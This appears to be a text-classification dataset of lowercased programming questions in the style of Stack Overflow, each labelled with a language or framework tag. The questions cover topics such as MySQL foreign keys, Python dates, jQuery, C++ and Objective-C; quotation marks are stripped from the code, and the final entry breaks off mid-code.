mysql error 150 with creating a table that has a foreign key constraint  i am getting error 150 on the following create statement:   <pre><code>create table `lazarus`.`warehouses_devices` (   `parent_unit_id` int unsigned null default null    `child_unit_id` int unsigned null default null    `message_type` varchar(255) null    `date` timestamp not null default current_timestamp on update current_timestamp    `value` longtext not null    index `parent_unit_id` (`parent_unit_id` asc)    index `child_unit_id` (`child_unit_id` asc)    index `message_type` (`message_type` asc)    index `date` (`date` asc)    constraint `fk_parent_unit_id_unit_id`     foreign key (`parent_unit_id`)     references `lazarus`.`logs` (`unit_id`)     on delete cascade     on update cascade) engine = innodb default character set = utf8 collate = utf8_general_ci </code></pre>   and i am not sure why  i look up error 150 and it states that its foreign key issues and i am really confused as the reason isn t very clear.    the exact error is <code>error 1005: can t create table  lazarus.warehouses_devices  (errno: 150)</code>,mysql
getting date in specific format in python  how can i get a date in the foll. format in python:   <pre><code>2016-04-26t19:50:48z </code></pre>   i am doing this:   <pre><code>import datetime  now = datetime.now() now.strftime( %y %m %d %h:%m ) </code></pre>,python
how to store a varibale value after page loading  in my application there is the multiple tab concept is there. i.e i have 1st page then  next button  to move to second page  then in 2nd page 2 button(prev next). thus when user click prev button i need to get the fields filled in 1st page. this can be achived using state management. if is there any way except this,asp.net
jquery - how to add id= menu1  in the first ul  how to use jquery to add some element like id= menu1  in the first ul    <pre><code>&lt;ul /*add to here*/ &gt; </code></pre>,jquery
cannot call class as a function javascript  i am building a simple stream to publish on pubnub and later consume.  i can successfully utilize separate functions which log the output to the console or even create a .json file using the <code>.pipe(new function())</code>.  however for some reason with this function i am getting the cannot call a class function.  i have not changed the syntax of the function call at the end of the code  so i am assuming it is something in the pubnubstreamout() function itself.   <blockquote>    typeerror: cannot call a class as a function       at _classcallcheck (d:\pasco\node_modules\pubnub\lib\node\index.js:27:99)       at _class (d:\pasco\node_modules\pubnub\lib\node\index.js:37:5)       at new pubnuboutstream (d:\pasco\pubnub.js:24:13)       at object. (d:\pasco\pubnub.js:54:42)       at module._compile (module.js:635:30)       at object.module._extensions..js (module.js:646:10)       at module.load (module.js:554:32)       at trymoduleload (module.js:497:12)       at function.module._load (module.js:489:3)       at function.module.runmain (module.js:676:10)  </blockquote>   the .js file follows:    <pre><code>var pubnub = require( pubnub ); var util = require( util ); var readable = require( stream ).readable; var writable = require( stream ).writable; var twitter = require( twitter );  var pncfg = {    ssl           : true   //  enable tls tunneling over tcp    publish_key   :  pub_key      subscribe_key :  sub_key  };  var twcfg = {     consumer_key: ...       consumer_secret: ...       access_token_key: ...       access_token_secret: ...  }    function pubnuboutstream(cfg  channel) {    writable.call(this {objectmode:true});    var pn = pubnub(cfg);     this._write = function(obj  encoding  callback) {        pn.publish({            channel: channel             message: obj             callback: () =&gt; callback()        });    }; } util.inherits(pubnuboutstream  writable);  function twitterstream(cfg  query) {     readable.call(this {objectmode:true});      var client = new twitter(cfg);      this._read = function() { /* do nothing */ };     var self = this;     function connect() {         client.stream( statuses/filter   {track: query}              function(stream) {                stream.on( data   (tweet) =&gt; self.push(tweet));                stream.on( error   (error) =&gt; connect());             });     }     connect();  }  util.inherits(twitterstream  readable);  new twitterstream(twcfg  #twitter ).pipe(new pubnuboutstream(pncfg  awesome-tweets )); </code></pre>   i am not sure why i am getting the class as a function error since i am using the <code>new pubnuboutstream()</code>,javascript
is it mandatory to set the invoke s args parameter as object() always   the <a href= https://msdn.microsoft.com/en-us/library/a1hetckb(v=vs.110).aspx  rel= nofollow ><code>.invoke</code></a> method requires to set the args parameter as <code>new object[]</code>  is that necessary  i mean can i set it as <code>new string[]</code> or directly without using an array  for example can i use it like this:   <pre><code>        this.invoke(delegate   some text ); </code></pre>   or like this:   <pre><code>        this.invoke(delegate  new string[] {  some text } ); </code></pre>   or setting it as <code>new object[]</code> is a must    <pre><code>        this.invoke(delegate  new object[] {  some text } ); </code></pre>   apologize if it sounds lame  but every code i checked uses the object array even the msdn s  while as i know it s faster to use it as string  however though there must be a reason why everyone uses an object  that s why i ask. appreciate your answers in advanced.,c#
how to change the color of navigataionbar once we turn from landscape to portrait mode and vice varsa in iphone  hi will some body help me    i am using 3.2.5 sdk and 4.2 iso  now i am creating a splitviews project but here i am facing problem my problem is that once i am in portrait maid and move other class then i change my portrait mode to landscape at that time my rootview navigation bar color has change but i did not want to change previous i made its green color but after shifting portrait mode to landscape its change please help me some one.    thanks.....,iphone
why does operator<< need const   here s my code. this runs  but it gives me an error when i remove the const from ostream&amp; operator&lt;&lt; . why      as a side question  the error message shown is: cannot bind  std::ostream {aka std::basic_ostream}  lvalue to  std::basic_ostream&amp;&amp;  . how does this indicate that i m missing a const      <pre><code>#include &lt;iostream&gt;  using namespace std;  class pair_int{ public:     int x;     int y;     pair_int(int x  int y):x(x) y(y){};     friend ostream&amp; operator&lt;&lt; (ostream &amp; s  pair_int &amp; c); }; ostream&amp; operator&lt;&lt;(ostream &amp; s  const pair_int &amp; c){     s &lt;&lt; c.x;     s &lt;&lt;    ;     s &lt;&lt; c.y;     return s; } pair_int square(int x){     return pair_int(x  x*x);  } int main(int argc char * argv []){     int x;     cin &gt;&gt; x;     cout &lt;&lt; square(x);    return 0; } </code></pre>,c++
problem with keyup and shift+tab  i m writing a small jquery form routine designed to help a user fill in a group of bank sort code fields. there are 3 fields - when the user has filled in 2 numbers in one field  the cursor is automatically focus() on the next field.    however the problem arises if the user decides to shift+tab back to the previous field. if this field already contains 2 characters  the cursor doesn t stay within that field but jumps forward again.    html:   <pre><code>&lt;div class= formitem sortcode clearfix &gt;   &lt;input type= text  maxlength= 2 &gt;   &lt;input type= text  maxlength= 2 &gt;   &lt;input type= text  maxlength= 2 &gt; &lt;/div&gt; </code></pre>   jquery:   <pre><code>var $sortcollection = $( .sortcode input );  $( .sortcode input ).keyup(function(event) {    var sortvalue = $(this).val();               var sortposition = $sortcollection.index(this);           if (!(event.keycode == 9 &amp;&amp; event.shiftkey)) {     if (sortvalue.length == 2 &amp;&amp; sortposition != 2) {       sortposition += 1;       $sortcollection.eq(sortposition).focus().select();     }   } }); </code></pre>   i have a feeling the issue is to do with the keyup event being triggered when the shift key is released but i m not sure. please could someone take a look.,jquery
what is this returning 2 not 0   here in this i don t know why does the inline function returns 2 while i have not returned any value. if i change the value of e in the function then the function returns 3. i have no idea for this please suggest.     <pre><code>#include &lt;iostream&gt;  using namespace std;  int a  b;  inline int add(int e  int d) {     e = 211;     d = 312;      //return e+d; }  int main() {     a = 2; b = 3;     int c = add(a  b);     cout &lt;&lt; c; } </code></pre>,c++
php how can i get certain keywords form a text file   so after several advil s i think i need help    i am trying to make a script that lets the user upload a .txt file  the file will look like this as an example   <pre><code>           ext. dunkin  donuts - day             police vehicles remain in the parking lot.  the determined            female reporter from the courthouse steps  melinda fuentes            (32)  interviews comandante chitt  who holds a napkin to his            jaw  like he cut himself shaving.                                 melinda                      &lt; comandante chitt  how does it                      feel to get shot in the face  &gt;                                 comandante chitt                      &lt; not too different than getting                      shot in the arm or leg. &gt;                                 melinda                      &lt; tell us what happened. &gt;                                 comandante chitt                      &lt; i parked my car.                          (indicates assault vehicle                           in donut shop)                      he aimed his weapon at my head.  i                      fired seven shots. he stopped                      aiming his weapon at my head. &gt;             melinda waits for more  but chitt turns and walks away into            the roped-off crime scene. melinda is confused for a second             then resumes smiling.                                 melinda                      &lt; and there you have it... a man of                      few words. &gt; </code></pre>   ok  so based off of this what i want to do is this:    the php script looks at the file and counts 35 white spaces  since all files will have the same layout and never differ in white spaces i chose this as the best way to go.    for every 35 white spaces extract character 36 until the end of line.    then tally up $character++    so in the end the output would look like   <hr>   it looks like you have 2 characters in your script    melinda   <h2>commandante chitt</h2>   using php to select distint names  and use the strtolower() to lower case the strings and ucfirst() to make the first letter upper-case    thats my project     i m at the stage where i m going crazy trying to figure out how to count white-spaces and everything after that white space until the first white-space after the word is a character name,php
what is the best way to use css  (not *learn* but really *use*)  i know css and i m learning more and more common pattern. however  i always feel like i m hacking instead of doing it the right way.     for instance  some people i respect tell me that using css reset is unnecessary while others live for it. also  there are so many great css framework (for grids  etc.) that even thought i understand them  i never really know when to use them.     so  basically  my question is: once you understand how css work  is there a recognized  best  approach used by excellent web developer  as in python  one should try to use the common pattern and read pep 8. or  in c++  after understanding the syntax  reading the effective serie by meyer is an excellent  second  read.     sorry for taking that long to explain.. i just didn t want to have answer like: read  beginning css  which explain how to change the background or how to set font. i m really looking for a good standard approach.    <ul> <li>should we use reset  </li> <li>should we use only one file per site  one for homepage and one for the rest  one basic file and once different for every big sections </li> <li>is it bad to have a 2k+ css files  does it mean it should have been refactored and that it contain to much duplicate </li> <li>should i define parent at the top for normal font  color  h1  etc.  and then  when it s different change it per sections.. or instead always use the standard one and redefine each and every section. </li> <li>should i use .class and #id a little bit everywhere  or should i try to minimize them and instead use long descriptor such as: </li> </ul>  <pre><code>   .content .main tr td span a    or   span.classname a  </code></pre>   thank you!    tl/dr:    what s the best  second  read once you already understand css but would like to use it in a clean/professional way     [edit]    thanks all for your answer. i know i asked quite a lot of questions.. but they were only examples for the real question which is: what is the best  second  read once you already understand css but would like to use it in a clean/professional way. i.e.  i was hoping to read a book explaining the examples i proposed.. but also would explain lots of other things that aren t css-syntax but more css-best-professional-use.,css
why my onload function is not working in javascript   i am working on api to generate random quotes. its working fine but i want to generate a random quotes as soon as page load.   <pre><code>document.getelementbyid( load ).addeventlistener( onload   loaddata); document.getelementbyid( getquote ).addeventlistener( click   loaddata);      function loaddata() {         const xhr = new xmlhttprequest();         xhr.open( get    https://talaikis.com/api/quotes/   true);         xhr.onload = function() {             if (this.status === 200) {                 const data = json.parse(this.responsetext);                 document.getelementbyid( quote-message ).innerhtml = `&lt;h1&gt;${data[0].quote}&lt;/h1&gt;`;                 document.getelementbyid( author ).innerhtml = `&lt;h3&gt;${data[0].author}&lt;/h3&gt;`;             }         }         xhr.send();     } </code></pre>,javascript
android circular determinate progress bar for media player <pre><code>@override public void run() {     int currentposition = 0;     int total = mediaplayer.getduration();     while (mediaplayer != null &amp;&amp; currentposition &lt; total) {         try {             thread.sleep(1000);             currentposition = mediaplayer.getcurrentposition();         } catch (interruptedexception e) {             return;         } catch (exception e) {             return;         }         pbringtonepreviewhorizontal.setprogress(currentposition);     } } </code></pre>   above is the code for update progress value  this works perfectly in horizontal progress bar.. i want same for circular progress bar.    code for initializing progress bar is   <pre><code>public void onprepared(mediaplayer mediaplayer) {     system.out.println( on prepared );     if (!mediaplayer.isplaying()) {         isplayenabled = true;         mediaplayer.start();         pbringtonepreview.setvisibility(view.invisible);         pbringtonepreviewhorizontal.setprogress(0);         pbringtonepreviewhorizontal.setmax(mediaplayer                 .getduration());         ivringtonepreview.setimageresource(r.drawable.stop);         new thread(this).start();     } } </code></pre>,android
uploading a file with php and moving it  i have a form where users can upload images. i know how to do it with html/php and i know that i have to move the temp file to the permanent directory. well this all works well when my file that processes the form  is in the root directory. but  i would like to have it work within another directory  on the same server.    the structure is this:   <pre><code>root     &gt;images     &gt;mobile         &gt;upload.php </code></pre>   i would like to have the file put inside images  which is outside of the  mobile  directory.    my current upload path that does not work is:   <pre><code>define( uploadpath    images/ ); </code></pre>   so essentially i need to go back one directory and then into images. how can i do this,php
checking date field empty in asp.net vb  i tried isnull  isempty  dbnull  isdbnull to check date field is empty. but showing error  conversion from type dbnull to type date is not valid . how to solve this. help me.. sushma,asp.net
convert list of string to list of dictionary  i have list of items like this:   <pre><code>[ { collaboration :5  communication :5  creativity :4  critical thinking :4}    { collaboration :5  communication :5  creativity :5  critical thinking :4} ] </code></pre>   each item is a dictionary string. how to convert list of string to list of dictionary out of this. i need a final result like this:   <pre><code>[{ collaboration :5  communication :5  creativity :4  critical thinking :4}  { collaboration :5  communication :5  creativity :5  critical thinking :4}] </code></pre>,python
nsdate function: between objective c  i have such a task here    write a function: between  (time  start  end)  where time  start  end: time in format  hh: mm     for example   23:15 . the function should return true  if  time  falls between the  start  and  end . case end &lt; start  for example ( 23:11   8:05 ) should be considered as: from  start  to  end  the next day.    i have done so   <pre><code>nsautoreleasepool * pool = [­[nsautoreleasepool alloc] init];  nsdateformatter* dateformatter = [­[[nsdateformatter alloc] init] autorelease]; dateformatter.dateformat = @ hh:mm ; nsdate * time = [dateformatter datefromstring:@ 24:00 ]; nsdate * start = [dateformatter datefromstring:@ 23:50 ]; nsdate * end = [dateformatter datefromstring:@ 03:00 ];  if(start&lt;time) { if (end&gt;time) { nslog(@ yes ); } } </code></pre>   but how do a background check in order to test the next day  as in the example  have any ideas,iphone
how to make a primary key not unique mysql  i know a primary key should be unique.  but i am creating a database for an estate agency where the post code is the primary key for the address table. but if a property is for sale/rent and it is in a block of flats many properties will have the same post code.  how do i make it not uniqe whilst keeping the postcode as the pk  thank u     my code so far:    <pre><code>create table `properties` (   `propertyid` bigint(20) unsigned not null auto_increment    `property type` varchar(20) not null    `postcode` varchar(8) not null    `bedrooms` tinyint(2) default null    `bathrooms` tinyint(2) default null    `ensuite` tinyint(1) default null    `kitchen` tinytext    `livingroom` tinytext    `diningroom` tinytext    `utilityroom` tinytext    `conservatory` tinytext    `garage` tinytext    `garden` tinytext    `furnished` tinytext    `type` char(15) not null    primary key (`propertyid`)    key `property type` (`property type`)    key `postcode` (`postcode`)    constraint `properties_ibfk_2` foreign key (`postcode`) references `address` (`postcode`)    constraint `properties_ibfk_1` foreign key (`property type`) references `propertytype` (`property type`) ) engine=innodb default charset=latin1       create table `address` (       `postcode` varchar(8) not null        `housen` text not null        `addl1` varchar(25) not null        `addl2` varchar(25) default null        `addl3` varchar(25) default null        `county` char(20) not null        primary key (`postcode`)     ) engine=innodb default charset=latin1 </code></pre>,mysql
decode string with emoji characters such as \ud83d  i have following string  and i want to show it in a uilabel properly with emojies and the new lines. also i want to draw it using drawinrect method. how do i get them converted/encoded/decoded properly      this string will change on runtime so should show any unicode character/ emoji or special characters such as \n or &amp;    i m sorry that i do not know proper terms to use to ask this question. which makes it difficult for me to find an answer online. my knowledge about this topic is very low.   <blockquote>    \ud83d\ude02\ud83d\ude02\ud83d\ude02\ud83d\ude02\ud83d\ude02\ud83d\ude05\ud83d\ude06   \u0db8\u0da0\u0d82   \u0d91\u0d9a\u0dca\u0d9a\n#set_with_machan\nkunuharapa na \n#follow   @lankan_machan\nhttps://www.instagram.com/lankan_machan  </blockquote>   after encoding the text should look like this with emojis  unicode characters &amp; new lines. <a href= https://i.stack.imgur.com/vc7ba.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/vc7ba.jpg  alt= enter image description here ></a>,objective-c
handling special characters (¦)  i m a bit lost on how to read and write to/from text files in c# when special characters are present. i m writing a simple script that does some cleanup on a .txt data file which contains the  ¦  character as its delimiter.    <pre><code> foreach (string file in directory.enumeratefiles(@ path\raw txt   *.txt ))             {                 string contents = file.readalltext(file);                               contents = contents.replace( ¦      );                 file.writealltext(file.replace( raw txt    txt )  contents);             } </code></pre>   however  when i open the txt file in notepad++  the delimeter is now �. what exactly is going on  what even is this characters (¦) encoding / how would i determine that  i ve tried adding things like:   <pre><code>string contents = file.readalltext(file  encoding.utf8); file.writealltext(file.replace( raw txt    txt )  contents  encoding.utf8); </code></pre>,c#
dynamically display properties of a control  to access the properties of windows controls in multi threaded application  i have modified my code as specified here <a href= http://myewt.blogspot.com/2009/12/my-solution-cross-thread-operation-not.html  rel= nofollow noreferrer >solution</a>. although for calling the  setcontrolvaluemethod  i also need to pass the type of control and its specific property as text. i am looking for more convenient approach for  calling<code>void setcontrolvaluemethod(control controltype string propertyname  object value)</code>   <ol> <li>can i have all controls as a enum as first parameter.</li> <li>can i have properties of the selected control appear for second parameter  i don t want to type property name there. can i have them appearing like enum for selected control </li> </ol>,.net
in python  how do i access an objects property if i know its identifier   here is a simple class:   <pre><code>class daz:     def __init__ (self  vname  vvalue):         self.name = vname         self.value = vvalue </code></pre>   and i can create an instance of the class  added to a dictionary thus:   <pre><code>dictofdaz = [] dictofdaz.append(daz( obj1  25)) dictofdaz.append(daz( obj2  35)) </code></pre>   so  i now want to access the vvalue property of one of the instances where i know the name.    in pseudo-code:   <pre><code>get vvalue from instance of daz where daz.name ==  obj1  </code></pre>   i don t want to loop through the dictionary because i know the specific object names i need to reference and having to do   <pre><code>for d in dictofdaz:   if d.name ==  obj1  or d.name ==  obj2 :     do_this </code></pre>   seems inefficient to me.    <strong>update:</strong> having got confused between a list and a dict  the solution (as pointed pointed out by tom and others) is as follows:   <pre><code>class daz:     def __init__ (self  vname  vvalue):         self.name = vname         self.value = vvalue  dictofdaz = {}  dictofdaz[ obj1 ] = daz( obj1  25) dictofdaz[ obj2 ] = daz( obj2  35) dictofdaz[ obj3 ] = daz( obj3  45) dictofdaz[ obj4 ] = daz( obj4  55) </code></pre>   this then allows me to access the values of the instances by:   <pre><code>print getattr(dictofdaz[ obj1 ]   value ) </code></pre>   which solves my problem  perfectly!,python
how do you unset the ngsrc directive   i am using <a href= http://docs.angularjs.org/api/ng/directive/ngsrc  rel= nofollow >ngsrc</a> to change the src attribtue of an iframe.   <pre><code>&lt;iframe ng-src={{url}}&gt;&lt;/iframe&gt; $scope.url = $sce.trustasresourceurl( http://www.npr.org ); </code></pre>   this works fine. i can even change the it to another url and it works fine.   <pre><code>// some time later... $scope.url = $sce.trustasresourceurl( http://www.nasa.gov ); </code></pre>   but what doesn t work is when i try to change it to an empty string. then it does nothing.    <pre><code>$scope.url =   ; // this doesnt work $scope.url = $sce.trustasresourceurl(  ); // this doesn t work </code></pre>   i need for the src attribute to be an empty string. how do i do that with angularjs  <a href= http://plnkr.co/edit/bqdizkk4c0dpokdslqpl p=preview  rel= nofollow >here</a> is my plunkr.,angularjs
how do i get scanner to work with the arrays  create ten accounts in an array with id 0  1  2 ...9  and initial balance $50.  the system prompts the user to enter an id.  if the id is entered incorrectly  ask the user to enter a correct id    this is what i have so far am stuck as to how to get scanner to work with the arrays   <pre><code>package object_1_programs; import java.util.scanner; /**  *  *   */ public class accounts_test {     public static void main(string [] args){         //declare arrays         int [] a=new int[9];            double balance=50;          scanner input=new scanner(system.in);         system.out.print( enter your id: );         a[id]=input.nextint();        }  } </code></pre>   any help will do thanks,java
how to fix cannot access with an instance reference   here s the error member  clscacheutils.getobj static(string)  cannot be accessed with an instance reference; qualify it with a type name instead the code:   <pre><code>ticketentry = modglobal.pobjcacheutil.getobjstatic( agsp.autogate ); </code></pre>   the getobjstactic   <pre><code>public static object getobjstatic(string strclass)     {         factory mcache = new factory();         mcache = modglobal.tcscache;         return mcache.static(strclass);     } </code></pre>   if i do this:   <pre><code>ticketentry = pobjcacheutil.getobjstatic( agsp.autogate ); </code></pre>   i can t access pobjcacheutil but the error in getobjstatic is gone    what s the reason behind it,c#
does blocking method -  getcontext()  use cpu  i am using .net framework to design a http server. i use http libraries of .net. .net has getcontext() method which is a blocking method and will return a httplistenercontext object. on the website  it says:  this method blocks while waiting for an incoming request . but  does it do busy waiting  which means that does it use the cpu when it is waiting for incoming request  if not  what does it do  release the use of cpu and let other process use the cpu,.net
how to add placeholder kinda thing in ruby select  <em>1)</em> is there any way i can add a placeholder/first option  as  (select city)    <pre><code>&lt;%= f.select :city_id  options_for_select(@cities.collect { |city|     [city.name.titleize  city.id] }  1)  {}  { id:  cities_select } %&gt; </code></pre>   <em>2)</em> can i use collection_select or say please if anyone can transform it into a collection_select tag <em>(with @cities array not city model)</em>,ruby-on-rails
moving nstableheaderview sort arrow  the sort arrow for a 1-column nstableview in my mac application currently looks like this:  <img src= https://i.stack.imgur.com/ktqfw.png  alt= bad >    as you can see  the sort arrow all the way to the right is too close to the edge of the table column.  i m attempting to make it look like the postbox sort arrow  which has a little bit more breathing room: <img src= https://i.stack.imgur.com/quz0r.png  alt= enter image description here >    what s the easiest way to do this   i really don t want to create my own custom table header unless it s the only choice i have.,objective-c
unexpected php parse error  i realise that the answer to this question is probably going to be simply obvious  but i am stumped.    i ve created a class that uses jeremy kendall s password validator (<a href= https://github.com/jeremykendall/password-validator  rel= nofollow >https://github.com/jeremykendall/password-validator</a>) called hash. however  when the class gets called i get:   <pre><code>parse error: syntax error  unexpected  }  in /home/james/projects/rec/htdocs/classes/hash.class.php on line 24. </code></pre>   the code in hash.class.php that it is having issues with is:   <pre><code>private $validationcallback;  public function __construct(){     $this-&gt;validationcallback = function($credential  $passwordhash){         if (has( md5   $credential) === $passwordhash) {             return true;         }         return false;     } } </code></pre>   line 24 is the final  } . any help would be greatly appreciated.    thanks.,php
how to make a <div> appear in slow motion  i want the javascript code to show a div in slow motion.    <pre><code>function showdiv(divid) {        if(document.getelementbyid(divid).style.display== none )        {            document.getelementbyid(divid).style.display= block ;          } } </code></pre>   here div appears  but not in slow motion. can anyone help    thanks in advance    dev..,javascript
getting value from database and passing to another page  ok i don t know if my question makes sense but i ll try to describe this as best as i can.    i am doing a school project and i have a database which stores  projects   fields include projectid  name  publications  status and so on.    i also have another table called publications  which stores id  publicationtype  projectid  description and so on.     on the project page  i have the option to add a new project  and it also shows a grid view of the current projects  and if you click on their name  it takes you to a page where you can add publications for that project. i pass the value of projectid through a hyperlinkfield with the value publications.aspx projectid={0}    the projectid appears in the url when i m redirected to the publications page  however  when i try to insert my publications  name  type and projectid the projectid field is left empty in my database.     i m doing this in design view but here are my insert and select statements for the publications page.   <pre><code>select projectid  pubtype  pubdescription  pubdetail  publink from publications where (projectid = projectid)  insert into publications(projectid  pubtype  pubdescription  pubdetail  publink) values (projectid            ) </code></pre>   i m 100% sure this is a logical error  but i m not sure how to fix it. i would appreciate some help  preferably through the design interface  but i don t mind doing some of the coding if it s required.     thanks !~,asp.net
how to implement alert overlay feature in iphone   i have one image and it s related text ans one uibutton   i want to display the image and it s related text and uibutton into it  i want to open this in overlay feature  how i can achieve this in iphone any ideas,iphone
what is the difference between html attribute `disabled` and `inert`   i am trying to figure the difference between inert and disabled <code>html</code> attribute   apart from the specific nature of the <code>disabled</code> attribute that only specific element can use it. does it mean <code>inert</code> is a kind of <code>disabled</code> that works on all element    <pre><code>&lt;div inert&gt;   &lt;button&gt;this is a button&lt;/button&gt;   &lt;input type= text &gt;   &lt;input type= button  value= this is an input &gt; &lt;/div&gt; &lt;div&gt;   &lt;button disabled&gt;this is a button&lt;/button&gt;   &lt;input type= text  disabled&gt;   &lt;input type= button  value= this is an input  disabled&gt; &lt;/div&gt; &lt;div&gt;   &lt;button&gt;this is a button&lt;/button&gt;   &lt;input type= text &gt;   &lt;input type= button  value= this is an input &gt; &lt;/div&gt; </code></pre>,html
access properties and methods from one class inside another class in objective c  i am trying to build a class in objective c that contain serve the web service and database methods for my application. in this class i want to call a web service and grab employee records and then load them into an sql table for later use in a view.    i got this working when all the code as in the view  but in trying to make this new class (what i am calling getemployee) i am running into problems. i do not understand well how to access properties and methods from one class in another.     here is my getemployee class    <pre><code>#import &lt;foundation/foundation.h&gt; #import  employee.h  #import  fmdatabase.h  #import  fmdatabaseadditions.h  #import  fmdatabasepool.h  #import  fmdatabasequeue.h  #import  fmresultset.h  #import  utility.h   @interface getemployee : nsobject  {     nsmutablearray *employees; }  @property (nonatomic  copy) nsstring *databasename; @property (nonatomic  copy) nsstring *databasepath;  - (void)updateemployeedata; - (void)callwebservice; - (void)fetcheddata:(nsdata *)responsedata;  - (nsmutablearray *) getemployees;  @end </code></pre>   implementation   <pre><code>#define kbgqueue dispatch_get_global_queue( dispatch_queue_priority_default  0) #define scoulardirectoryurl [nsurl urlwithstring: @ https://xxxxxxxxx/mobile/mobilede.nsf/restservices.xsp/peoplebyname ]  #import  getemployee.h  #import  fmdatabase.h  #import  fmdatabaseadditions.h  #import  fmresultset.h   @implementation getemployee   - (id) init {     if (self = [super init])     {         self.databasename = @ employees.db ;     }     return self; }  #pragma  - (void)updateemployeedata{      //delete database if it exists and then copy fresh db     nsarray *documentpaths = nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes);     nsstring *documentdir = [documentpaths objectatindex:0];     self.databasepath = [documentdir stringbyappendingpathcomponent:self.databasename];     nsfilemanager *filemanager = [nsfilemanager defaultmanager];     bool success;     success = [filemanager fileexistsatpath:self.databasepath];     if (success) {         [filemanager removeitematpath:self.databasepath error:nil];     }     nsstring *databasepathfromapp = [[[nsbundle mainbundle] resourcepath] stringbyappendingpathcomponent:self.databasename];     [filemanager copyitematpath:databasepathfromapp topath:self.databasepath error:nil];      //call the web service     [self callwebservice];     [self populatedatabase]; }  - (void) callwebservice {     dispatch_sync(kbgqueue  ^{         nsdata* data = [nsdata datawithcontentsofurl:                         scoulardirectoryurl];         [self performselectoronmainthread:@selector(fetcheddata:) withobject:data waituntildone:yes];     }); }  - (void)fetcheddata:(nsdata *)responsedata {      nserror* error;     nsmutablearray *jsonarray = [nsjsonserialization jsonobjectwithdata: responsedata options: nsjsonreadingmutablecontainers error: &amp;error];     id jsonobject = [nsjsonserialization jsonobjectwithdata:responsedata options:kniloptions error:&amp;error];      employees = [[nsmutablearray alloc] init];      if (!jsonarray) {      } else {          for (jsonobject in jsonarray){             employee *thisemployee  = [employee new];             thisemployee.fullname   = [jsonobject objectforkey:@ $13 ];             thisemployee.ste        = [jsonobject objectforkey:@ state ];             thisemployee.city       = [jsonobject objectforkey:@ city ];             [employees addobject:thisemployee];         }     } }    -(void) populatedatabase {    ////call the web service and populate the db //dispatch_sync(kbgqueue  ^{ //    nsdata* data = [nsdata datawithcontentsofurl: //                    scoulardirectoryurl]; //    [self performselectoronmainthread:@selector(fetcheddata:) withobject:data waituntildone:yes]; //});  //populate the db fmdatabase *db = [fmdatabase databasewithpath:[utility getdatabasepath]]; [db open]; for (employee *thisemployee in employees) {     bool success =  [db executeupdate:@ insert into employees (fullname city state) values (     );  thisemployee.fullname thisemployee.city thisemployee.ste  nil];     if (success) {} // only to remove success error } [db close];  }     - (nsmutablearray *) getemployees  {      //nsmutablearray *employees = [[nsmutablearray alloc] init];     employees = [[nsmutablearray alloc] init];     fmdatabase *db = [fmdatabase databasewithpath:[utility getdatabasepath]];     [db open];     fmresultset *results = [db executequery:@ select * from employees ];      while([results next])     {         employee *thisemployee  = [employee new];         thisemployee.fullname   = [results stringforcolumn:@ fullname ];         thisemployee.city       = [results stringforcolumn:@ city ];         thisemployee.ste        = [results stringforcolumn:@ state ];         [employees addobject:thisemployee];     }      [db close];      return employees;  }  @end </code></pre>   and here is the masterviewcontroller    header   <pre><code>#import &lt;uikit/uikit.h&gt; #import  employee.h  #import  fmdatabase.h  #import  fmresultset.h  #import  fmdatabaseadditions.h  #import  utility.h   #import  getemployee.h   @interface masterviewcontroller : uitableviewcontroller {     nsmutablearray *employees;     //getemployee *scoularemployees; }  @end </code></pre>   implementation   <pre><code>#define kbgqueue dispatch_get_global_queue( dispatch_queue_priority_default  0) #define scoulardirectoryurl [nsurl urlwithstring: @ https://xxxxxxxx/mobile/mobilede.nsf/restservices.xsp/peoplebyname ]  #import  masterviewcontroller.h  #import  detailviewcontroller.h  #import  employee.h  #import  getemployee.h   @interface masterviewcontroller () {     nsmutablearray *_objects; }  @property(strong  nonatomic) getemployee *scoularemployees;  @end   @implementation masterviewcontroller  - (void)awakefromnib {     [super awakefromnib]; }  - (void)viewdidload {     [super viewdidload];      //getemployee *scoularemployees = [[getemployee alloc] init];     [self.scoularemployees init];      //[self.scoularemployees init];      //_scoularemployees = [[getemployee alloc] init];     //[_scoularemployees getemployees];     //getemployee *scoularemployees = [[getemployee alloc] init];     //getemployee *thisemployeedata = [[getemployee alloc] init];     //[self.scoularemployees updateemployeedata];     //[self.scoularemployees getemployees];     //[scoularemployees updateemployeedata];     //[scoularemployees getemployees]; }   #pragma mark - table view  - (nsinteger)numberofsectionsintableview:(uitableview *)tableview {     return 1; }  - (nsinteger)tableview:(uitableview *)tableview numberofrowsinsection:(nsinteger)section {      return employees.count; }  - (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {     uitableviewcell *cell = [tableview dequeuereusablecellwithidentifier:@ cell  forindexpath:indexpath];     nsstring *fullname = [[employees objectatindex:indexpath.row] valueforkey:@ fullname ];     cell.textlabel.text = fullname;     return cell; }  - (bool)tableview:(uitableview *)tableview caneditrowatindexpath:(nsindexpath *)indexpath {     // return no if you do not want the specified item to be editable.     return yes; }  - (void)tableview:(uitableview *)tableview commiteditingstyle:(uitableviewcelleditingstyle)editingstyle forrowatindexpath:(nsindexpath *)indexpath {     if (editingstyle == uitableviewcelleditingstyledelete) {         [_objects removeobjectatindex:indexpath.row];         [tableview deleterowsatindexpaths:@[indexpath] withrowanimation:uitableviewrowanimationfade];     } else if (editingstyle == uitableviewcelleditingstyleinsert) {         // create a new instance of the appropriate class  insert it into the array  and add a new row to the table view.     } }  - (void)prepareforsegue:(uistoryboardsegue *)segue sender:(id)sender {     if ([[segue identifier] isequaltostring:@ showdetail ]) {         nsindexpath *indexpath = [self.tableview indexpathforselectedrow];         employee *dtlemployee = [employees objectatindex:indexpath.row];         [[segue destinationviewcontroller] setdetailitem:dtlemployee];     } }   - (void)fetcheddata:(nsdata *)responsedata {      nserror* error;     nsmutablearray *jsonarray = [nsjsonserialization jsonobjectwithdata: responsedata options: nsjsonreadingmutablecontainers error: &amp;error];     id jsonobject = [nsjsonserialization jsonobjectwithdata:responsedata options:kniloptions error:&amp;error];      //employees = [[nsmutablearray alloc] init];      if (!jsonarray) {      } else {        //nsmutablearray *employees = [[nsmutablearray alloc  ]init];         for (jsonobject in jsonarray){             employee *thisemployee  = [employee new];             thisemployee.fullname   = [jsonobject objectforkey:@ $13 ];             thisemployee.ste        = [jsonobject objectforkey:@ state ];             thisemployee.city       = [jsonobject objectforkey:@ city ];             [employees addobject:thisemployee];         }     }      }   //-(nsmutablearray *) getemployees  //{      //nsmutablearray *employees = [[nsmutablearray alloc] 